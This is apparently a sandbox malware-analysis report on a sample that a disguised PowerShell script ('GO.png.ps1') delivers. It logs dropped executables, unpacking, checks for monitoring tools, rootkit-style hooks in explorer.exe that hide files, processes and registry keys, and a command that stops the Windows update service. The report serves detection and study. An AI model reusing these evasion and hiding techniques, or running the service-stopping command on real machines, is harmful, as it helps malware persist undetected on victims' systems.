Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\Mig\Mig.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\Mig\Mig.exe	Section loaded: winmm.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: LB311.exe, 00000006.00000002.1883280158.00007FF62EC4A000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: LB311.exe, LB311.exe, 00000006.00000002.1883280158.00007FF62EC4A000.00000040.00000001.01000000.00000009.sdmp, Mig.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Roaming\LB311.exe	Unpacked PE file: 6.2.LB311.exe.7ff62e6f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R; vs :ER;.rsrc:W;Kh:W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R;
Source: C:\ProgramData\Mig\Mig.exe	Unpacked PE file: 40.2.Mig.exe.7ff746290000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R; vs :ER;.rsrc:W;@:W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R;

Source: initial sample

Static PE information: section where entry point is pointing to: tnyudguu

Source: LB311.exe.0.dr	Static PE information: section name:
Source: LB311.exe.0.dr	Static PE information: section name: .idata
Source: LB311.exe.0.dr	Static PE information: section name:
Source: LB311.exe.0.dr	Static PE information: section name: ndryujmp
Source: LB311.exe.0.dr	Static PE information: section name: tnyudguu
Source: LB311.exe.0.dr	Static PE information: section name: .pdataI
Source: Mig.exe.6.dr	Static PE information: section name:
Source: Mig.exe.6.dr	Static PE information: section name: .idata
Source: Mig.exe.6.dr	Static PE information: section name:
Source: Mig.exe.6.dr	Static PE information: section name: ndryujmp
Source: Mig.exe.6.dr	Static PE information: section name: tnyudguu
Source: Mig.exe.6.dr	Static PE information: section name: .pdataI

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4AC7D2A5 pushad ; iretd	3_2_00007FFB4AC7D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4AE62316 push 8B485F92h; iretd	3_2_00007FFB4AE6231B
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E99173ACDD push rcx; retf 003Fh	35_2_000002E99173ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E99176C6DD push rcx; retf 003Fh	35_2_000002E99176C6DE
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991759FA4 push rbp; retf	35_2_000002E99176626B
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766130 push rbp; retf	35_2_000002E991766133
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766138 push rsi; retf	35_2_000002E991766143
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766100 push rbp; retf	35_2_000002E99176610B
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766100 push rbp; retf	35_2_000002E99176610B
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E9917660F0 push rbp; retf	35_2_000002E9917660F3
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E9917660E0 push r14; retf	35_2_000002E9917660EB
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766198 push rbp; retf	35_2_000002E99176619B
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766180 push rbp; retf	35_2_000002E991766183
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766160 push rbp; retf	35_2_000002E991766163
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766168 push rsi; retf	35_2_000002E9917661D3
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766038 push r14; retf	35_2_000002E991766043
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766008 push rsi; retf	35_2_000002E99176602B
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E9917660A8 push rbp; retf	35_2_000002E9917660AB
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766080 push rbp; retf	35_2_000002E991766083
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766070 push rbp; retf	35_2_000002E991766073
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766078 push rbp; retf	35_2_000002E991766083
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766238 push rbp; retf	35_2_000002E99176623B
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766218 push rbp; retf	35_2_000002E99176621B
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766208 push rsi; retf	35_2_000002E99176620B
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991766168 push rsi; retf	35_2_000002E9917661D3
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E9917662C8 push rbp; retf	35_2_000002E9917662B3
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E9917662C8 push rbp; retf	35_2_000002E9917662CB
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E9917662B0 push rbp; retf	35_2_000002E9917662B3
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCCACDD push rcx; retf 003Fh	41_2_00000213BDCCACDE
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCFACF1 pushfq ; iretd	41_2_00000213BDCFACF2
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCFAC43 pushfq ; iretd	41_2_00000213BDCFAC62

Source: C:\Users\user\AppData\Roaming\LB311.exe	File created: C:\ProgramData\Mig\Mig.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\LB311.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\LB311.exe

File created: C:\ProgramData\Mig\Mig.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Roaming\LB311.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: RegmonClass
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Roaming\LB311.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: png.ps1

Static PE information: GO.png.ps1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
